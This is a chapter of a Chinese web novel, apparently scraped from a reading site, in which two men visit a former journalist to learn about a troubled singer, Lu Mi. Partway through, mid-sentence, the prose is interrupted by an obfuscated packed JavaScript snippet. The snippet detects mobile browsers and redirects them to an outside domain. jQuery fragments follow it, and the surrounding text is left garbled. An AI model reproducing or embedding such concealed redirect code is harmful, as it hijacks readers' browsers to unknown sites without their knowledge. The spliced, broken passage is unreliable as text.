23. [锁] [此章节已锁]

作品:《天王撞巨星

    老任把采访过陆弥家人的记者推送给文一越,缓缓介绍了起来。


    “沈老师是我见过最有职业操守的新闻人,她最早在省里做社会板块的专栏,后来呢...栏目被取了,她被下放到了我们电视台,一开始她还是做社会板块,后来又被放到了娱乐版块,再后来,她就不再电视台干了。她是主动离开职场,回家相夫教子的,想必是被工作伤透了心。”


    文一越有些不解:“被工作伤了心,就要回去相夫教子吗?”


    胡逢宴和老任同时投来看孩子的目光。


    老任接着说:“沈老师为人求真务实,从不弄虚作假,你们可以直接向她表明来意,听台里跑新闻的孩子说,当年陆弥出事,沈老师还去过她家里,想必也是和你们一样。所以我想,有她能帮忙的,她一定会帮。”


    文一越照老任的话,在沈立微通过他的好友申请后,立马说明来意。


    老任送两人出门,胡逢宴让文一越先下去。文一越似乎有些不愿,胡逢宴怼他:“我们说的,你听得懂吗?”


    文一越最受不了激将法,头也不回,哒哒哒下了楼。


    文一越离开后,胡逢宴对老任道:“你跟台里的纠纷,我不会跟一越妈妈说,我们今天来找你的事,也请你对她守口如瓶。”


    老任识人无数,第一眼就看出来了,胡逢宴和文一越不是一个层次上的人。


    文一越的火流于表面,而胡逢宴的火却是向内烧的。


    “你放心,我和圆圆是真心相爱...”


    “打住——”胡逢宴捂住耳朵,大咧咧道,“你俩私事关上门自己说去。”


    胡逢宴来到停车场,文一越已经约好明天去沈立微家里了。


    “她明天白天去郊区的盲人社区做义工,只有晚上有时间。”


    “那就晚上去。”


    “你晚上有空?”


    胡逢宴吊儿郎当地一笑,装模作样去掐文一越的腰:“我小秘有空,我就有空。”


    文一越这个人,不了解他的,觉得这人是个被惯坏了的孩子。


    他不是那种会把自己的信仰、坚守、原则挂在嘴边,可内心空洞的人。在他的世界里,有大大小小的规则,他们撑起了文一越这个人的框架,也将撑起他的人生。


    不喜欢的事,文一越绝对不会做。


    “胡天王,我不是学校里的小姑娘,我也不是你酒局里碰到的调情高手,我喜欢男人,你也喜欢男人,你这样对我,只会让我不舒服。”


    “切。”胡逢宴笑了一声,凑得更近,用带着沙粒感的嗓音说:“那我怎么对你,才能然你舒服啊。”


    文一越去拉车门,尴尬地没有拉开。


    胡逢宴给车门开了锁,手臂从文一越身后绕过去,帮他拉开车门。


    今夜两人都在想着陆弥的事,相安无事。第二天一早,胡逢宴去智慧生态景区露了个面,拍了几张照,待了不到半小时,又开车回到溪山。


    回到家,发现文二狗又是饿得奄奄一息的状态,真不知道文一越整天在家干什么呢。胡逢宴把作晚拿回来的剩菜喂给二狗,上楼去看文一越。


    文一越的卧室门虚掩着,他推门而入,之间文一越横躺在床上,身上堆满了草稿纸。


    有些纸上写得是乐谱,有些写得是歌词,有些乐谱和歌词混在一起,总之杂乱无章。


    斜阳透过窗纱,照在他的白色背心上,漂亮得浑然天成。


    胡逢宴目前的交际圈里,也有一些和文一越撞号的。他恶劣地让他们为自己争风吃醋,喜欢看他们为了蝇头小利出卖灵魂。这很无聊,但除了这些,他的生活也没有其它了。


    文一越太不一样了。如果不是认识他太多年,胡逢宴也无法看出他喜欢男人。


    可以说,在男人这个性征之前,文一越身上有一些属于人类的、璀璨而古怪的特征。


    他集细腻与自大于一体,看似透明,却则坚固。


    胡逢宴手指在文一越背心上游走,隔着这层薄薄的布料,他触到了他皮肤上的潮湿。


    文一越倏地睁眼,在斜阳柔光下异常俊朗的脸填满他迷蒙的视线。


    文一越哑着嗓子问:“你在干什么?”


    胡逢宴瞥了眼,手向下一抓,拽起文一越:“去找沈立微了。”


    文一越痛地大叫一声,正在享受美味剩饭的文二狗听到声音,判断叫唤的是文一越,便专心吃他的饭了。


    这个文一越,成天在家里鬼吼鬼叫,他都懒得理了。


    文一越一边穿衣服一边说:“不该碰的你别碰。”


    胡逢宴漏齿一笑:“我是你干哥,替你老婆管着他。”


    文一越胳膊刚塞进白衬衣里,看到胡逢宴的笑容,动作忽然停滞。


    胡逢宴和他不一样,他爱笑,光是他的笑,文一越就能数出十来个不同形式。有坏笑讪笑微笑轻笑...


    文一越越想越来气,这么些年,怎么就没遇到过比胡逢宴笑起来更好看的呢!


    沈立微家在苍岚花园,这里是溪山市一处较新的楼盘,正好在文书记贷款多年的新房产对面,文一越自信满满地要指路,结果就是两人花了比正常导航多一倍的时间才抵达。


    胡逢宴虽然知道旁边坐的是位理科状元,但还是不由怀疑起对方的智商。


    “文一越,你是怎么当上状元的?”


    文一越说:“上帝为我开了一扇敞亮的门,必然会为我关上一扇狭小的窗,我很知足。”


    “扑——”


    又笑了,他又笑了。


    文一越恼怒:“你能别总是笑么?”


    “你也别成天给我找不痛快!”


    你一句我一句,就到了苍岚花园。为了表示诚意,胡逢宴不但买了一个海鲜大礼盒,还勒令文一越把沈立微以前的报道都看了一遍。


    文一越很喜欢沈立微写过的一句话——


    我们回溯沉疴旧疾,不是为了在痛苦里逃避,而是为了获取剜掉它的勇气。


    沈立微曾在暴雨坚守一线,曾在震后重建走访遇难者家属,曾在在代孕黑医院卧底...


    沈立微扒开的社会伤痛,文一越一件都没经历过。对沈立微的敬意,让他难得把眼睛从头顶装回眉毛之下。


    微信沟通过后,沈立微亲自下楼迎接。


    只看外表,沈立微,是个再普通不过的中年妇女。她的头发草率地扎着马尾,身穿一件大卖场淘来的宽大T恤,身材也走形了。但这丝毫不影响她的无名英雄地位。


    “早知道是俩俊小子,我就化个妆再下楼了。”


    文一越正想说“沈老师您见外了”,胡逢宴高声一喝:“哟,原来您没化妆啊?”


    这油腔滑调固然讨厌,但配着胡逢宴的招牌坏笑和低音炮,反倒格外讨喜。胡逢宴从小就是万人迷,哪怕他妈从事不正当行业,街坊四邻对他也喜爱不减。如今更是男女老少通吃,沈立微被哄得合不拢嘴。


    沈立微带领二人进入电梯,热络地说:“文一越,当初比赛的时候,我还给你投过票呢。”


    文一越心脏狂跳,要不是被别人看着,他能哭出来。


    文一越说:“都很多年了。”


    沈立微说:“我还期待你决赛的原创曲呢...文老师,我现在就采访您一下,当初您是出于什么考量,没有在决赛用原创曲?”


    文一越说:“可能跟我这个人性格有关,我不喜欢第一的位置。”


    胡逢宴说:“你就不能说真话吗?”


    真话?他敢说,他敢听吗?


    难道要他当着沈立微的面说,他知道自己如果夺得第一,成为火遍大江南北的明星,就再也没法和小混混出身的胡逢宴有未来了么?


    哦对,他要是早知道胡逢宴是那个胡什么海的儿子,当年可就不客气了。


    沈立微家里的装修风格和她的报道如出一辙,简洁明了。


    沈立微说:“我爱人是警察,我以前又是做社会栏目的,可能跟职业有关,我们都不喜欢太复杂的装潢。”


    胡逢宴扣住文一越的肩膀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394883|184039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“等你以后出名了,记得给沈老师一家送个‘正义之家’的锦旗。”


    不知是不是出于对她爱人职业保护的原因,家里只有几张孩子的照片。


    胡逢宴又问:“您孩子呢?”


    沈立微说:“暑假丢给她奶奶了,我休息几天,出去实现实现自我价值。”


    沈立微看了眼时间:“我爱人快回来了,我边做饭边跟你们说吧。”


    “我来吧。”胡逢宴说。


    “那怎么好意思呢!”


    文一越说:“您不用跟我们客气,是我们有求于您,做多少都是应该的。”


    胡逢宴寻思,文一越的情商像是有个开关似的,说开就开。


    沈立微爽快地拿来围裙:“我也不跟你们客气了,咱一起做,我活了半辈子,没想到还有机会能跟两个帅小伙一起下厨。”


    文一越有些困惑,他没说要帮忙啊。


    沈家厨房是开放式的,足矣容纳三个人,但沈立微忙活了一阵,见胡逢宴确实像是个会做饭的,就摘下围裙,坐了一旁的餐桌上。


    文一越拿着两个西红柿无所适从,胡逢宴轻轻一笑,“你也休息去。”


    “好。”


    文一越在沈立微对面坐下:“沈老师,您已经知道,我们是为陆弥来的。听说您之前采访过她,不知道当时都采访了哪些内容呢?”


    提起陆弥,沈立微一阵神伤。


    “在采访她之前,我刚被调到娱乐版块,当时听说了很多她的黑料,说来惭愧,再见到她之前,我是戴着有色眼镜的。可是没想到她本人非常有礼貌,不但早来了,还按我们每个人的喜好,买了热咖啡、热牛奶。”


    文一越说:“陆弥不是传闻中那样的人。”


    想当年他身披马甲帮陆弥说话,反而引来几万条骂他的留言。


    “我本来是想就她的绯闻进行采访,但中途她惊恐发作,吃了药,休息了不到十分钟,就要求继续采访。我出于社会记者的本能,便问了几个提纲上没有的问题。当时陪她来的,我记得也是个小姑娘,应该是她的助理,立马打断了我,但陆弥说没关系。我第一次了解这个光鲜靓丽的大明星背后的原生家庭,心疼不已,采访结束后,还给了她一个拥抱。后来她出事,我去她家里探望,发现她妈妈对前来采访的记者明码收价,我实在看不下去,便没再和他们家联系。”


    陆弥的家庭情况,文一越和胡逢宴都知道。


    陆弥爸爸烂赌成性,妈妈又重男轻女。当年陆弥本来已经考到了一个可以减免学费的大学,却被她妈妈改了志愿,要把陆弥卖给债主。


    在他们的帮助下,陆弥逃去了岚市,开始在酒吧驻唱。


    虽然在参加比赛时,陆弥因出身贫困家庭,获得了一定关注,可后来全网都搜不到关于她家庭的报道。


    这背后可能有两种原因,一是陆弥自己不愿意把自己剖析给公众,二是有人故意将她打造成光鲜的符号,掩盖了她所有的伤口。


    娱乐行业乃至整个社会,像航海家追捧新大陆一样,追捧着财富、地位,不论是文一越的公司,还是司念飞的MCN机构,都有不少把寒门出生的少男少女打造成亿万千金、公子的案例。


    在这个行业里有句话,叫如果没有惨到家破人亡,那就是富二代。


    文一越刚要问这片报道没有公开的原因,咔嚓一声,房门被从外打开。


    沈立微说:“我爱人回来了。”


    文一越随他站起来,炒菜的胡逢宴也把火关小,拎着锅铲转身。


    在看到沈立微爱人的一瞬间,胡逢宴手中锅铲险些滑落,他不着痕迹抓住锅铲柄。


    沈立微介绍道:“这位是我爱人,他现在在市刑警队,刚升副支队。李惟,这两位是我以前的学生。”


    作为全民巨星决赛亚军,统招全日制本科、本省高考理科状元的文一越,比这个副支队长更敏锐地察觉到了胡逢宴的动静。


    他朝眼前秃顶啤酒肚的男人伸出友好的右手:“您好,我叫文一越。”